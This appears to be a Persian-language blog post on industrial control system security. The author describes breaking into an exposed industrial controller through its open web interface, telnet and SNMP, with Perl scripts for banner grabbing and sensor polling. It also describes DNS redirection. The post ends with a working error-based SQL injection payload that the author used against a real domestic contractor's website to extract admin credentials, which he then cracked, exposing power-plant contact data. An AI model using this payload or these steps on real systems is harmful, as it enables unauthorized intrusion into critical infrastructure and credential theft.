همان طور که مشاهده میکنید در تگ devicename نام و مدل این دستگاه ذکر شده است . با کمی جستجو در گوگل به وبسایت سازنده این دستگاه برخورد کردم و تصاویر و جزییات مربوط به آن براحتی قابل دسترسی بود

با مطالعه کاتالوگ این محصول اطلاعات بیشتری از کارایی آن بدست میاید :

 

همان طور که در تصویر بالا مشخص است ، این کنترل کننده قادر به جمع آوری اطلاعات از طریق سنسورهای مختلف و ارسال آن ها بر روش شبکه با استفاده از ایمیل و snmp است . همچنین دارای اینترفیس تحت وب و پروتکل modbus نیز هست .

از طریق اینترفیس تحت وب روش های افزایش دسترسی را بررسی میکنیم .

با استفاده از مرورگر ، اینترفیس تحت وب این کنترل کننده را درخواست کردم و بدون دریافت رمز عبور اطلاعات آن برای من به نمایش در آمد .

 

 

همان طور که مشاهده میکنید یک سنسور دما به این دستگاه متصل است. سنسور ابزاری است که در همه دستگاه های اندازه ‌گیری وجود دارد و وظیفه تبدیل یک کمیت فیزیکی به یک سیگنال الکتریکی را در تجهیزات الکترونیکی و یا تبدیل کمیت فیزیکی به یک سیگنال نیوماتیکی در تجهیزات نیوماتیکی را دارد. انواع دستگاههای اندازه ‌گیری دارای سنسور یا حس کننده‌های متفاوتی هستند که کمیت‌هایی مانند دما، فشار، دبی و غیره را اندازه‌ گیری می‌کنند.

این سنسور دمای محیط را 23 درجه سانتی گراد نشان میدهد . و همچنین بازه امن تعریف شده برای آن نیز بین 10 تا 32 درجه سانتی گراد تعریف شده است. بدیهی است هرگونه تغییر بر روی این اعداد میتواند نتایج فاجعه باری به همراه داشته باشد.

 

 

اما نوبت به بررسی سرویس ناشناخته ایی که روی پورت 99 فعال بود رسیده است . برای این کار کد ساده ایی نوشتم که banner های یک پورت را استخراج میکند .

#!/usr/bin/perl

#Offsec Security Research Group

#Www.offsec.ir

#By : Mohamadreza@offsec.ir

 

print q{

Informations :

};

 

use IO::Socket;

$ip = $ARGV[0];

$port = $ARGV[1];

 

$sock = IO::Socket::INET->new(Proto=>tcp,

                              PeerAddr=>$ip,

                              PeerPort=>$port) or die "couldn’t connect \n";

 

$sock->recv($buffer,1024);

print "$buffer";

 

نتیجه اجرا

 

 

اطلاعاتی که از این پورت بدست می آید شامل عبارت user name است . مشخص است که برای ورود به این سرویس نیازمند نام کاربری و رمز عبور هستیم .

 

بررسی صفحه تنظیمات

در این صفحه قابلیت تنظیم نام کاربری و رمز عبور وجود دارد که دسترسی ها را به سه بخش تقسیم کرده است . برای افزایش دسترسی ، سه نام کاربری و رمز عبور روی این دستگاه تنظیم شد .

 

 در سمت راست هم مشخص است که سرویسی که روی پورت 99 اجرا شده ، سرویس telnet میباشد . بنابراین میتوان از نام کاربری و رمز عبوری که ایجاد شده برای ورود به این سرویس استفاده کرد .

من با استفاده از اطلاعاتی که وارد کردم موفق به ورود به این سرویس شدم

 

 

اکنون کنترل کامل بر روی تمام بخش های این کنترلر صنعتی داریم . یکی از حملات جالبی که قابل انجام است مجموعه حملات مربوط به dns است . در اینجا قصد شرح انواع این حملات و نحوه انجام آن ها را نداریم و فقط به شنود یک بسته dns صرفا برای این که نشان دهیم این حملات قابل انجام است اکتفا میکنیم .

آدرس dns را به آدرس سروری که به آن دسترسی داشتم تغییر دادم :

 

سپس از روی دستگاه یک درخواست همگام سازی با سرور time.nist.gov را ارسال کردم .

و با استفاده از ابزار dns query sniffer اقدام به ضبط این بسته کردم :

 

با کمی خلاقیت میتوان حملات جالبی را تدارک دید . بطور مثال جعل دامنه ایی که از آن برای بروز رسانی میان افزار این دستگاه استفاده میشود و باقی ماجرا !!

اما این پایان کار نیست ، طبق گفته های این سایت اطلاعات این محصول از طریق پروتکل snmp نیز قابل دسترسی است .

برای بررسی این موضوع از ابزار snmpwalk بهره میگیریم .

 

 

با بررسی بیشتر به نکته جالی برخورد میکنیم

 

همان طور که مشاهده میکنید اطلاعات مربوط به سنسور دما که به این کنترل کننده متصل است بر روی این پروتکل قابل دسترسی است . یکی از مواردی که برای نفوذگران جالب توجه است بدست آوردن اطلاعات از بخش های حیاتی نیروگاه ها و مراکز صنعتی است . برای این کار با استفاده از کد زیر میتوانید یک oid را بطور منظم به منظور مشاهده اطلاعات آن تحت پایش قرار دهید .

#!/usr/bin/perl

#Offsec Security Research Group

#Www.offsec.ir

#By : Mohamadreza@offsec.ir

 

 

   use strict;

   use warnings;

   use Net::SNMP;

   my $OID = '.1.3.6.1.4.1.21796.3.3.3.1.5.1';

   my ($session, $error) = Net::SNMP->session(

      -hostname  => shift || #######.29',

      -community => shift || 'public',

   );

   if (!defined $session) {

      printf "ERROR: %s.\n", $error;

      exit 1;

   }

while(1){

   my $result = $session->get_request(-varbindlist => [ $OID ],);

   if (!defined $result) {

      printf "ERROR: %s.\n", $session->error();

      $session->close();

exit 1;

}

   printf "The result for host '%s' is %s\n",

          $session->hostname(), $result->{$OID};

                                     sleep(1);

}

   $session->close();

   exit 0;

 

 

نتیجه اجرا :

 


 

اما همان طور که در مقاله اشاره کردیم ، وبسایت ها یکی از منابع بسیار مهم برای کسب اطلاعات در مورد شبکه های صنعتی هستند . مخصوصا پیمان کاران فعال در این زمینه ، اسناد و اطلاعاتی را بر روی وبسایت های خود نگهداری میکنند که دسترسی به آن ها میتواند سرآغاز حملات گسترده ایی باشد .

برای نشان دادن این موضوع وبسایت یکی از شرکت های داخلی فعال در این زمینه را بررسی کردم که از یک آسیب پذیری سنتی رنج میبرد .


 

پس از چند دقیقه تلاش نام کاربری و رمز عبور مدیر سایت بدست آمد که البته بصورت رمزنگاری شده بود

http://www.*******.ir//index.php********=13' and(select 1 from(select count(*),concat((select (select (select concat(0x27,0x7e,tbladmin.username,0x5e,tbladmin.password,0x27,0x7e) from `*****_db`.tbladmin limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and '1'='1

 

با استفاده از نرم افزار hash cat اقدام به کرک رمز عبور کردم که پس از مدت کوتاهی انجام شد

 

بر روی این وبسایت اطلاعاتی از برخی نیروگاه های کشور و شرکت های خصوصی وجود داشت  . یک پایگاه داده از ایمیل های مشتریان این شرکت که ایمیل های کاربردی و عملیاتی برخی نیروگاه های مهم کشور در بین آن ها به چشم میخورد . تصور کنید بد افزار پیشرفته ایی برای آن ها ارسال شود و فقط به یکی ازین سیستم ها نفوذ کند !! از بیان جزییات بیشتر در مورد اطلاعات موجود روی این وبسایت در این مقاله خودداری میکنیم .

امیدوارم که این مقاله بتواند سهم مفید و مطلوبی را در زمینه  امنیت سیستم های کنترل صنعتی فراهم کرده و در عین حال برای خواننده محترم جذاب و کاربردی قرار گرفته باشد.

 

 

منابع :

Industrial Network security

Eric D.Knapp

 

Security Analysis of Industrial Control Systems

Arthur Gervais

 

http://en.wikipedia.org/wiki/Instrumentation

 

 

 


[1] Supervisory Control and Data Acquisition

[2] Distributed control system

[3] Human Machine Interface

[4] Open Platform Communications

[5] North American Electric Reliability Corporation Critical infrastructure protection

[6] Robustness testing

[7] firmware

[8] industrial control system   سیستم کنترل صنعتی -

[9] hard-coded

[10] Ladder logic

[11] Embedded operating system

[12] Commercial off-the-shelf

[13] Joint Test Action Group

  • mohammad reza

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
تجدید کد امنیتی